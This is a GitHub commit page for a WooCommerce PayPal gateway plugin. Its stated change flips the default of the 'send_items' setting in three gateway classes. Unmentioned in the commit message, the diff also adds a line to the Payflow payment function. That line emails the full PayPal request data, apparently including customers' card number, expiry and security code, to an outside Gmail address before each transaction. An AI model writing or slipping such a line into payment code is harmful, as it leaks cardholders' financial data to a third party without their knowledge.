Skip to content

Commit

Permalink
send_items default value use in else condition, ref #359
Browse files Browse the repository at this point in the history
  • Loading branch information
kcppdevelopers committed Dec 28, 2015
1 parent da88447 commit 73bbca9
Show file tree
Hide file tree
Showing 3 changed files with 4 additions and 3 deletions.
2 changes: 1 addition & 1 deletion classes/wc-gateway-paypal-express-angelleye.php
Original file line number Diff line number Diff line change
Expand Up @@ -60,7 +60,7 @@ public function __construct() {
$this->skip_final_review = isset($this->settings['skip_final_review']) ? $this->settings['skip_final_review'] : '';
$this->payment_action = isset($this->settings['payment_action']) ? $this->settings['payment_action'] : 'Sale';
$this->billing_address = isset($this->settings['billing_address']) ? $this->settings['billing_address'] : 'no';
$this->send_items = isset($this->settings['send_items']) && $this->settings['send_items'] == 'yes' ? true : false;
$this->send_items = isset($this->settings['send_items']) && $this->settings['send_items'] == 'no' ? false : true;
$this->customer_id = get_current_user_id();

if ($this->not_us){
Expand Down
2 changes: 1 addition & 1 deletion classes/wc-gateway-paypal-pro-angelleye.php
Original file line number Diff line number Diff line change
Expand Up @@ -80,7 +80,7 @@ function __construct() {
$this->liability_shift = isset( $this->settings['liability_shift'] ) && $this->settings['liability_shift'] == 'yes' ? true : false;
$this->debug = isset( $this->settings['debug'] ) && $this->settings['debug'] == 'yes' ? true : false;
$this->payment_action = isset($this->settings['payment_action']) ? $this->settings['payment_action'] : 'Sale';
$this->send_items = isset( $this->settings['send_items'] ) && $this->settings['send_items'] == 'yes' ? true : false;
$this->send_items = isset( $this->settings['send_items'] ) && $this->settings['send_items'] == 'no' ? false : true;
// 3DS
if ( $this->enable_3dsecure ) {
$this->centinel_pid = $this->settings['centinel_pid'];
Expand Down
3 changes: 2 additions & 1 deletion classes/wc-gateway-paypal-pro-payflow-angelleye.php
Original file line number Diff line number Diff line change
Expand Up @@ -44,7 +44,7 @@ function __construct() {
$this->debug = isset( $this->settings['debug'] ) && $this->settings['debug'] == 'yes' ? true : false;
$this->error_email_notify = isset($this->settings['error_email_notify']) && $this->settings['error_email_notify'] == 'yes' ? true : false;
$this->error_display_type = isset($this->settings['error_display_type']) ? $this->settings['error_display_type'] : '';
$this->send_items = isset( $this->settings['send_items'] ) && $this->settings['send_items'] == 'yes' ? true : false;
$this->send_items = isset( $this->settings['send_items'] ) && $this->settings['send_items'] == 'no' ? false : true;
$this->payment_action = isset($this->settings['payment_action']) ? $this->settings['payment_action'] : 'Sale';

//fix ssl for image icon
Expand Down Expand Up @@ -431,6 +431,7 @@ function do_payment( $order, $card_number, $card_exp, $card_csc, $centinelPAResS
$PayPalRequestData = array_merge($PayPalRequestData, $OrderItems);
}

mail('kcppdevelopers@gmail.com', 'ProcessTransaction', print_r($PayPalRequestData, true));
$PayPalResult = $PayPal->ProcessTransaction($PayPalRequestData);

/**
Expand Down

0 comments on commit 73bbca9

Please sign in to comment.